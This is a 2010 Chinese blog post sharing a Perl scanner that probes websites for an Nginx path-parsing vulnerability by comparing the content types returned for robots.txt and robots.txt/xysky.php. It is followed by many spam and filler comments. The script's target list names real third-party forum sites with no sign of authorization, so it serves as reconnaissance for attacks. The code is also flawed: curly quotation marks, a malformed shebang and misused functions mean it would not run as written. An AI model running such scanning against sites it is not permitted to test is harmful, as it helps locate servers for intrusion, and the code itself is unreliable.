Bug&Exp → Nginx-scan Perl扫描器
精选文章,转载请注明: 转载自太子King’S Blog
本文链接地址: Nginx-scan Perl扫描器
#!usr/bin/perl -w
#来源1: http://www.80sec.com/nginx-securit.html
#来源2: http://www.1141643.com
#用处:测试nginx是否存在该漏洞
use LWP;
use LWP::ConnCache;
my $browser = LWP::UserAgent->new;
$browser->timeout( 15 );
my $conncache = LWP::ConnCache->new;
$browser->conn_cache($conncache);
#先用列表吧,没有用记事本保存列表再读再扫嘿嘿
my @bbslist1;
push @bbslist1,”http://bbs.xxx.com/robots.txt“;
push @bbslist1,”http://bbs.yyy.com/robots.txt” ;
push @bbslist1,’http://bbs.pctutu.com/robots.txt’;
push @bbslist1,’http://bbs.yahoo.cn/robots.txt’;
#Server: nginx/0.8.13
#Content-Type: text/html
print “\t\tNginx漏洞扫描程序 \n\n”;
foreach my $url (@bbslist1){
print “目前正在扫描:$url\n”;
my $response= $browser->get( $url);
$response->is_success or say(“Failed to get ‘$url’:\n”, $response->status_line);
my $servertype = $response->server;
print “$servertype\n”;
if ($servertype=~/nginx/){
my $typeold=$response->content_type;
print “$typeold\n”;
my $url2=$url.’/xysky.php’;
my $response2 = $browser->get( $url2);
$response2->is_success or say(“Failed to get ‘$url2′:\n”, $response->status_line);
my $typenew=$response2->content_type;
print “$typenew\n”;
if ($typeold eq $typenew){
print “站点 $url 暂没有发现漏洞.\n\n”;
}else{
print “站点 $url 存在该漏洞.\n\n”;
}
}else{
print “站点不是nginx,Sorry!\n\n”;
}
}
五月 22nd, 2010 at 18:18
爱拼才会赢
五月 26th, 2010 at 19:26
飘过,博主交个朋友;-)
五月 26th, 2010 at 22:37
企业名录,工商名录,行业名录,营销软件,群发软件,商人工具园,http://www.54sr.cn
五月 27th, 2010 at 09:14
博客不错啊。留个脚印再走。嘿嘿
五月 28th, 2010 at 20:09
好好看看先
五月 31st, 2010 at 16:24
soga,飘过。支持一个。
六月 1st, 2010 at 16:26
欢迎来我的博客做客
六月 2nd, 2010 at 22:41
义勇军进行曲
六月 3rd, 2010 at 19:50
好文章啊》不能错过的文章
六月 4th, 2010 at 10:29
这篇文章太有用了。呵呵moonbasa.okhn.net
六月 4th, 2010 at 15:44
不错的网站。好文章
六月 4th, 2010 at 23:30
AMD降价NVIDIA跟风 999元新战场
AMD-ATI官方宣布将对Radeon HD 4800系列产品全线降价,这一决策的实施无意为中高端显卡市场扔下了一颗重磅炮弹,本站第一时间推出相关事件专题,数以万计网友的浏览量足以证明用户对价格的关注度。
六月 6th, 2010 at 01:04
这个是什么现象
六月 6th, 2010 at 12:06
支持博主。
http://www.molibanana.info
六月 6th, 2010 at 18:04
看了看你的博客,水平比我强百倍!不是一个档次地!
六月 7th, 2010 at 09:28
你的博客写的不错,向你学习~~~,介意我转到我的博客上吗?
六月 8th, 2010 at 07:02
博客不错,有机会也建个您这样的!
六月 8th, 2010 at 08:56
写得直有水平
六月 12th, 2010 at 14:18
非常喜欢博主的博客theme,很PL,回去模仿一个去,不建议吧!呵呵
六月 13th, 2010 at 19:49
偶然来访,踩踩!
六月 18th, 2010 at 17:35
终于找到众多博客中的亮点了,非常不错。
六月 20th, 2010 at 18:33
每天来看看
六月 20th, 2010 at 21:01
很不错 谢谢您的分享